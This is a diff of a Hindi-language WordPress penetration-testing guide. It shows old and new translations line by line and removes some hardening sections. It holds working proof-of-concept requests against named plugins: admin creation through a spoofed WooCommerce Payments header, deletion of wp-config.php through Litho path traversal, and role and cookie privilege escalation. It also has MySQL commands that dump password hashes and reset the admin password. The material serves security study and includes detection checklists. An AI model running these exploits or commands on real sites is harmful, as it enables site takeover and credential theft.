||||
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
usernames और passwords निकालें:
|
||||
Extract usernames and passwords:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
admin password बदलें:
|
||||
एडमिन का पासवर्ड बदलें:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress प्लगइन्स Pentest
|
||||
|
||||
### हमला सतह
|
||||
### Attack Surface
|
||||
|
||||
यह जानना कि कोई Wordpress प्लगइन अपनी कार्यक्षमता कैसे उजागर कर सकता है, उसकी कमजोरियों को खोजने के लिए महत्वपूर्ण है। आप नीचे दिए गए बिंदुओं में देख सकते हैं कि एक प्लगइन किस तरह से functionality उजागर कर सकता है और कुछ उदाहरण कमजोर प्लगइन्स के लिए [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) देखें।
|
||||
यह जानना कि कोई Wordpress plugin किस तरह कार्यक्षमता को expose कर सकता है, उसकी functionality में कमजोरियाँ खोजने के लिए महत्वपूर्ण है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin functionality को कैसे expose कर सकता है और vulnerable plugins के कुछ उदाहरण [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं।
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
एक तरीका जिससे कोई प्लगइन उपयोगकर्ताओं के लिए फंक्शन्स को एक्सपोज़ कर सकता है वह है AJAX handlers के जरिए। इनमें logic, authorization, या authentication bugs हो सकते हैं। इसके अलावा, अक्सर ये फ़ंक्शन्स authentication और authorization दोनों को Wordpress nonce के अस्तित्व पर आधारित रखती हैं, जो **किसी भी user जिसे Wordpress instance में authenticated किया गया है** के पास हो सकता है (उसके role की परवाह किए बिना)।
|
||||
एक तरीके जिनसे एक plugin functions को expose कर सकता है, वह AJAX handlers के माध्यम से होता है। इनमें logic, authorization, या authentication बग हो सकते हैं। इसके अलावा, अक्सर ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर आधारित करते हैं जो **any user authenticated in the Wordpress instance might have** (इसके role से स्वतंत्र)।
|
||||
|
||||
ये वे functions हैं जिनका उपयोग प्लगइन में किसी function को expose करने के लिए किया जा सकता है:
|
||||
निम्नलिखित functions वे हैं जिन्हें एक plugin में एक फ़ंक्शन को expose करने के लिए इस्तेमाल किया जा सकता है:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**`nopriv` के उपयोग से endpoint किसी भी user के लिए accessible हो जाता है (यहाँ तक कि अप्रमाणीकृत उपयोगकर्ताओं के लिए भी)।**
|
||||
**`nopriv` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) के लिए सुलभ बनाता है।**
|
||||
|
||||
> [!CAUTION]
|
||||
> इसके अलावा, यदि फ़ंक्शन उपयोगकर्ता के प्राधिकरण की जाँच केवल `wp_verify_nonce` फ़ंक्शन के साथ कर रहा है, तो यह फ़ंक्शन सिर्फ यह सत्यापित करता है कि उपयोगकर्ता लॉग इन है; यह आम तौर पर उपयोगकर्ता की भूमिका की जाँच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं को उच्च-विशेषाधिकार वाली कार्रवाइयों तक पहुँच मिल सकती है।
|
||||
> इसके अलावा, अगर फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन से उपयोगकर्ता के अधिकार की जाँच कर रहा है, तो यह फ़ंक्शन केवल यह जांचता है कि उपयोगकर्ता लॉग इन है; यह आम तौर पर उपयोगकर्ता की भूमिका की जाँच नहीं करता है। इसलिए कम-प्रिविलेज़ वाले उपयोगकर्ताओं को उच्च-प्रिविलेज़ वाली क्रियाओं तक पहुँच मिल सकती है।
|
||||
|
||||
- **REST API**
|
||||
|
||||
यह भी संभव है कि wordpress से फंक्शन्स को expose किया जाए, `register_rest_route` फ़ंक्शन का उपयोग करके REST API रजिस्टर करके:
|
||||
यह भी संभव है कि `register_rest_route` फ़ंक्शन का उपयोग करके wordpress से फ़ंक्शन्स को REST API के माध्यम से एक्सपोज़ किया जाए:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` एक callback फ़ंक्शन है जो जाँचता है कि दिया गया उपयोगकर्ता API method को कॉल करने के लिए अधिकृत है या नहीं।
|
||||
The `permission_callback` एक callback फ़ंक्शन है जो जांचता है कि दिया गया उपयोगकर्ता API मेथड को कॉल करने के लिए अधिकृत है या नहीं।
|
||||
|
||||
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
|
||||
**यदि बिल्ट-इन `__return_true` फ़ंक्शन का उपयोग किया गया है, तो यह यूज़र परमिशन चेक को सीधे स्किप कर देगा।**
|
||||
|
||||
- **php फ़ाइल तक सीधे एक्सेस**
|
||||
|
||||
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की files वेब से सीधे उपलब्ध होती हैं। इसलिए, यदि किसी plugin में ऐसी कोई vulnerable functionality एक्सपोज़ हो रही है जो केवल फ़ाइल को एक्सेस करने मात्र से ट्रिगर हो जाती है, तो उसे कोई भी उपयोगकर्ता exploit कर सकता है।
|
||||
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फाइलें वेब से सीधे पहुँचने योग्य होती हैं। इसलिए, अगर कोई plugin कोई vulnerable functionality एक्सपोज़ कर रहा है जो सिर्फ फाइल को एक्सेस करने मात्र से ट्रिगर हो जाती है, तो वह किसी भी उपयोगकर्ता द्वारा exploitable होगी।
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए वर्तमान उपयोगकर्ता context सेट करने हेतु करते हैं। यदि वह header किसी upstream component द्वारा cryptographically request से बाउंड नहीं है, तो एक attacker उसे spoof करके privileged REST routes को administrator के रूप में हिट कर सकता है।
|
||||
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” shortcuts लागू करते हैं और फिर उस header का उपयोग REST requests के लिए current user context सेट करने में करते हैं। यदि वह header upstream component द्वारा request से cryptographically बाउंड नहीं है, तो एक attacker उसे spoof कर सकता है और administrator के रूप में privileged REST routes तक पहुँच सकता है।
|
||||
|
||||
- प्रभाव: अनऑथेन्टिकेटेड privilege escalation to admin — core users REST route के माध्यम से नया administrator बनाकर।
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
- प्रभाव: बिना प्रमाणीकरण के privilege escalation करके admin बनने का रास्ता — core users REST route के माध्यम से नया administrator बनाकर।
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (यह user ID 1 जबरदस्ती सेट करता है, आम तौर पर पहला administrator अकाउंट)।
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` एक elevated role array के साथ।
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -391,40 +391,31 @@ Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Why it works
|
||||
क्यों यह काम करता है
|
||||
|
||||
- प्लगइन क्लाइंट-नियंत्रित header को authentication state से मैप करता है और capability checks को छोड़ देता है।
|
||||
- WordPress core इस route के लिए `create_users` capability की उम्मीद करता है; प्लगइन का hack इसे bypass कर देता है — सीधे header से current user context सेट करके।
|
||||
- प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकरण स्थिति से मैप करता है और capability checks को स्किप कर देता है।
|
||||
- WordPress core इस route के लिए `create_users` capability की अपेक्षा करता है; प्लगइन hack इसे बाइपास करता है द्वारा हेडर से सीधे current user context सेट करके।
|
||||
|
||||
Expected success indicators
|
||||
अपेक्षित सफलता संकेत
|
||||
|
||||
- HTTP 201 with a JSON body describing the created user.
|
||||
- A new admin user visible in `wp-admin/users.php`.
|
||||
- HTTP 201 के साथ एक JSON बॉडी जो बनाए गए user का विवरण देती है।
|
||||
- एक नया admin user जो `wp-admin/users.php` में दिखाई देता है।
|
||||
|
||||
Detection checklist
|
||||
डिटेक्शन चेकलिस्ट
|
||||
|
||||
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
|
||||
- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
|
||||
- Grep करके खोजें `getallheaders()`, `$_SERVER['HTTP_...']`, या vendor SDKs जो custom headers पढ़कर user context सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- REST registrations की समीक्षा करें ताकि ऐसे privileged callbacks मिलें जिनमें मजबूत `permission_callback` checks नहीं हैं और जो request headers पर निर्भर करते हैं।
|
||||
- ऐसे उपयोग ढूँढें जहाँ core user-management functions (`wp_insert_user`, `wp_create_user`) REST handlers के अंदर उपयोग किए गए हैं और केवल header values से gated हैं।
|
||||
|
||||
Hardening
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
- Never derive authentication or authorization from client-controlled headers.
|
||||
- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side.
|
||||
- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`).
|
||||
- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”.
|
||||
WordPress themes और plugins अक्सर `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से AJAX handlers को एक्सपोज़ करते हैं। जब **_nopriv_** variant का उपयोग होता है **callback अनप्रमाणीकृत विज़िटर्स के लिए पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील कार्रवाई को अतिरिक्त रूप से यह लागू करना चाहिए:
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
1. एक **capability check** (उदा. `current_user_can()` या कम से कम `is_user_logged_in()`), और
|
||||
2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` के साथ validate किया गया हो, और
|
||||
3. **Strict input sanitisation / validation**।
|
||||
|
||||
### wp_ajax_nopriv के माध्यम से प्रामाणिकता-रहित मनमाना फ़ाइल विलोपन (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
The Litho multipurpose theme (< 3.1) ने इन तीन कंट्रोल्स को *Remove Font Family* फीचर में भूल गया था और परिणामस्वरूप निम्नलिखित कोड (सरलीकृत) शिप हो गया:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -443,60 +434,37 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
इस स्निपेट से उत्पन्न समस्याएँ:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **अप्रमाणित पहुँच** – `wp_ajax_nopriv_` hook रजिस्टर किया गया है।
|
||||
* **No nonce / capability check** – कोई भी visitor endpoint को हिट कर सकता है।
|
||||
* **No path sanitisation** – user–controlled `fontfamily` string बिना फ़िल्टर के filesystem path में concatenate किया जाता है, जिससे classic `../../` traversal संभव हो जाता है।
|
||||
* **Unauthenticated access** – the `wp_ajax_nopriv_` hook रजिस्टर किया गया है।
|
||||
* **No nonce / capability check** – कोई भी विज़िटर endpoint तक पहुँच सकता है।
|
||||
* **No path sanitisation** – उपयोगकर्ता–नियंत्रित `fontfamily` स्ट्रिंग बिना फ़िल्टर किए फ़ाइल सिस्टम पथ के साथ जोड़ दी जाती है, जिससे क्लासिक `../../` traversal संभव हो जाता है।
|
||||
|
||||
#### एक्सप्लॉइटेशन
|
||||
#### Exploitation
|
||||
|
||||
एक हमलावर एक single HTTP POST request भेजकर किसी भी फाइल या डायरेक्टरी को **uploads base directory के नीचे** (आमतौर पर `<wp-root>/wp-content/uploads/`) से डिलीट कर सकता है:
|
||||
एक attacker एक ही HTTP POST अनुरोध भेजकर किसी भी फ़ाइल या डायरेक्टरी को **uploads base directory के नीचे** (आम तौर पर `<wp-root>/wp-content/uploads/`) से डिलीट कर सकता है:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
चूँकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त होते हैं। `wp-config.php` को हटाने पर अगली विज़िट पर WordPress को *इंस्टॉलेशन विज़ार्ड* में डाल देता है, जिससे पूरा साइट टेकओवर संभव हो जाता है (हमलावर केवल नया DB कॉन्फ़िगरेशन देता है और एक एडमिन उपयोगकर्ता बनाता है)।
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
अन्य प्रभावशाली लक्ष्य plugin/theme `.php` files (सिक्योरिटी प्लगइन्स को तोड़ने के लिए) या `.htaccess` rules हैं।
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
|
||||
#### Detection checklist
|
||||
#### डिटेक्शन चेकलिस्ट
|
||||
|
||||
* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करे।
|
||||
* पथों में असैनिटाइज्ड उपयोगकर्ता इनपुट का संयोजन (देखें `$_POST`, `$_GET`, `$_REQUEST`)।
|
||||
* `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` का अभाव।
|
||||
|
||||
#### कठोरकरण
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Always** किसी भी disk पर write/delete ऑपरेशन को privileged समझें और निम्न की सावधानीपूर्वक जाँच करें:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता हो।
|
||||
* paths में unsanitised user input का concatenation (देखें: `$_POST`, `$_GET`, `$_REQUEST`)।
|
||||
* `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` की अनुपस्थिति।
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation: stale role restoration और missing authorization के माध्यम से (ASE "View Admin as Role")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
कई plugins "view as role" या temporary role-switching फ़ीचर implement करते हैं जिससे original role(s) को user meta में सेव किया जाता है ताकि उन्हें बाद में restore किया जा सके। यदि restoration path केवल request parameters (उदा., `$_REQUEST['reset-for']`) और plugin-maintained list पर निर्भर करता है और capabilities तथा वैध nonce की जाँच नहीं करता, तो यह एक vertical privilege escalation बन जाता है।
|
||||
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
|
||||
|
||||
एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में पाया गया। reset branch ने roles को `reset-for=<username>` के आधार पर restore किया अगर username internal array `$options['viewing_admin_as_role_are']` में दिखाई देता था, लेकिन current roles को हटाने और user meta `_asenha_view_admin_as_original_roles` से saved roles को फिर से जोड़ने से पहले न तो `current_user_can()` चेक किया गया था और न ही nonce verification किया गया था:
|
||||
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -511,17 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
क्यों यह शोषण योग्य है
|
||||
क्यों यह exploitable है
|
||||
|
||||
- `$_REQUEST['reset-for']` और एक plugin option को बिना server-side authorization के भरोसा किया जाता है।
|
||||
- अगर किसी user के पास पहले `_asenha_view_admin_as_original_roles` में higher privileges सहेजे हुए थे और उन्हें downgraded कर दिया गया, तो वे reset path पर जाकर उन्हें पुनर्स्थापित कर सकते हैं।
|
||||
- कुछ deployments में, कोई भी authenticated user `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य username के लिए reset trigger कर सकता है (broken authorization)।
|
||||
|
||||
हमले की पूर्व-आवश्यकताएँ
|
||||
|
||||
- Vulnerable plugin version जिसमें यह feature enabled हो।
|
||||
- लक्षित account के user meta में पहले के उपयोग से एक stale high-privilege role संग्रहीत होना चाहिए।
|
||||
- कोई भी authenticated session; reset flow पर nonce/capability अनुपस्थित होना।
|
||||
- सर्वर-साइड authorization के बिना `$_REQUEST['reset-for']` और एक plugin option पर भरोसा करता है।
|
||||
- यदि किसी उपयोगकर्ता के higher privileges पहले `_asenha_view_admin_as_original_roles` में सहेजे गए थे और उन्हें downgraded किया गया हो, तो वे reset path पर जाकर उन्हें पुनर्स्थापित कर सकते हैं।
|
||||
- कुछ deployments में, कोई भी authenticated उपयोगकर्ता किसी अन्य username के लिए reset ट्रिगर कर सकता है, जो अभी भी `viewing_admin_as_role_are` में मौजूद है (broken authorization).
|
||||
|
||||
Exploitation (example)
|
||||
```bash
|
||||
@ -531,34 +493,21 @@ Exploitation (example)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
कमजोर बिल्ड पर यह वर्तमान भूमिकाओं को हटा देता है और सहेजी गई मूल भूमिकाएँ (उदा., `administrator`) फिर से जोड़ देता है, जिससे प्रभावी रूप से अनुमतियाँ बढ़ जाती हैं।
|
||||
On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- ऐसी role-switching सुविधाओं की तलाश करें जो user meta में “original roles” को स्थायी रूप से संग्रहीत करती हैं (उदा., `_asenha_view_admin_as_original_roles`)।
|
||||
- उन reset/restore paths की पहचान करें जो:
|
||||
- उपयोगकर्ता नामों को `$_REQUEST` / `$_GET` / `$_POST` से पढ़ते हैं।
|
||||
- `add_role()` / `remove_role()` के माध्यम से roles को modify करते हैं बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के।
|
||||
- plugin option array (उदा., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं बजाय कार्रवाई करने वाले उपयोगकर्ता की क्षमताओं के।
|
||||
|
||||
Hardening
|
||||
|
||||
- हर स्थिति-परिवर्तन शाखा पर capability checks लागू करें (उदा., `current_user_can('manage_options')` या ज़्यादा सख्त)।
|
||||
- सभी role/permission परिवर्तनों के लिए nonces अनिवार्य करें और उन्हें सत्यापित करें: `check_admin_referer()` / `wp_verify_nonce()`।
|
||||
- कभी भी request-प्रदान किए गए usernames पर भरोसा न करें; लक्ष्य उपयोगकर्ता को सर्वर-साइड पर प्रमाणीकृत उपयोगकर्ता और स्पष्ट नीति के आधार पर निर्धारित करें।
|
||||
- प्रोफ़ाइल/रोल अपडेट्स पर “original roles” स्थिति को अमान्य करें ताकि पुरानी उच्च-अधिकारों वाली पुनर्स्थापना से बचा जा सके:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- अस्थायी role switches के लिए न्यूनतम state ही स्टोर करने और time-limited, capability-guarded tokens का उपयोग करने पर विचार करें।
|
||||
- उन role-switching फीचर्स की तलाश करें जो user meta में “original roles” को स्थायी रूप से सेव करते हैं (उदा., `_asenha_view_admin_as_original_roles`)।
|
||||
- ऐसे reset/restore paths पहचानें जो:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST` से usernames पढ़ते हैं।
|
||||
- बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के `add_role()` / `remove_role()` के माध्यम से roles बदलते हैं।
|
||||
- actor की capabilities के बजाय plugin option array (उदा., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं।
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
कुछ plugins सार्वजनिक `init` hook पर user-switching helpers को जोड़ते हैं और पहचान client-controlled cookie से निकाली जाती है। यदि कोड authentication, capability और एक वैध `nonce` की पुष्टि किए बिना `wp_set_auth_cookie()` को कॉल करता है, तो कोई भी unauthenticated visitor किसी भी arbitrary user ID के रूप में जोड़-जबर्दस्ती लॉगिन करवा सकता है।
|
||||
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
|
||||
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
@ -589,13 +538,13 @@ wp_die('Original user not found.');
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
क्यों यह exploitable है
|
||||
यह क्यों शोषण योग्य है
|
||||
|
||||
- सार्वजनिक `init` hook हैंडलर को unauthenticated users द्वारा पहुँच योग्य बनाता है (कोई `is_user_logged_in()` guard नहीं).
|
||||
- पहचान क्लाइंट-परिवर्तनीय cookie (`original_user_id`) से निकाली जाती है.
|
||||
- `wp_set_auth_cookie($uid)` के सीधे कॉल से अनुरोधकर्ता को उस उपयोगकर्ता के रूप में लॉग इन कर दिया जाता है बिना किसी capability/nonce जांच के.
|
||||
- सार्वजनिक `init` hook हैंडलर को अप्रमाणीकृत उपयोगकर्ताओं के लिए पहुँच योग्य बनाता है (कोई `is_user_logged_in()` गार्ड नहीं)।
|
||||
- पहचान क्लाइंट-परिवर्तनीय कुकी (`original_user_id`) से ली जाती है।
|
||||
- सीधा कॉल `wp_set_auth_cookie($uid)` अनुरोधकर्ता को उस उपयोगकर्ता के रूप में लॉग इन कर देता है बिना किसी capability/nonce checks के।
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
शोषण (अप्रमाणीकृत)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -605,22 +554,22 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WordPress/plugin CVEs के लिए WAF पर विचार
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए गए होते हैं। कई high‑impact WordPress/plugin flaws एप्लिकेशन-विशिष्ट लॉजिक/auth बग होते हैं जो सामान्य ट्रैफ़िक जैसा दिखते हैं जब तक engine WordPress routes और plugin semantics को न समझे।
|
||||
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए जाते हैं। कई उच्च-प्रभाव वाले WordPress/plugin दोष अनुप्रयोग-विशिष्ट लॉजिक/प्रमाणीकरण बग होते हैं जो इंजन WordPress routes और plugin semantics को समझे बिना वैध ट्रैफ़िक जैसा दिखते हैं।
|
||||
|
||||
Offensive notes
|
||||
|
||||
- क्लीन payloads के साथ plugin-विशिष्ट endpoints को लक्षित करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- पहले अप्रमाणीकृत paths आज़माएँ (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)। डिफ़ॉल्ट payloads अक्सर बिना obfuscation के सफल होते हैं।
|
||||
- सामान्य high-impact मामलों में शामिल हैं: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- plugin-विशिष्ट endpoints को clean payloads के साथ लक्षित करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads अक्सर बिना obfuscation के सफल हो जाते हैं।
|
||||
- आम उच्च-प्रभाव मामले: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- plugin CVEs की सुरक्षा के लिए सामान्य WAF signatures पर भरोसा न करें। एप्लिकेशन-लेयर, vulnerability-specific वर्चुअल पैच लागू करें या जल्दी अपडेट करें।
|
||||
- कोड में negative regex filters की बजाय positive-security checks को प्राथमिकता दें (capabilities, nonces, strict input validation)।
|
||||
- Generic WAF signatures पर plugin CVEs की सुरक्षा के लिए भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
|
||||
- कोड में negative regex filters की तुलना में positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें।
|
||||
|
||||
## WordPress सुरक्षा
|
||||
## WordPress Protection
|
||||
|
||||
### नियमित अपडेट
|
||||
|
||||
@ -630,7 +579,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
साथ ही, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें**।
|
||||
इसके अलावा, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें।**
|
||||
|
||||
### सुरक्षा प्लगइन्स
|
||||
|
||||
@ -638,17 +587,17 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **अन्य सिफारिशें**
|
||||
### **अन्य सुझाव**
|
||||
|
||||
- डिफ़ॉल्ट **admin** उपयोगकर्ता हटाएँ
|
||||
- डिफॉल्ट **admin** उपयोगकर्ता को हटाएँ
|
||||
- **मजबूत पासवर्ड** और **2FA** का उपयोग करें
|
||||
- समय-समय पर उपयोगकर्ताओं की **अनुमतियाँ** की **समीक्षा** करें
|
||||
- Brute Force attacks को रोकने के लिए **लॉगिन प्रयासों को सीमित करें**
|
||||
- **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ निश्चित IP पतों से ही पहुँच की अनुमति दें।
|
||||
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों को सीमित करें**
|
||||
- **`wp-admin.php`** फाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ निश्चित IP पतों से ही एक्सेस की अनुमति दें।
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
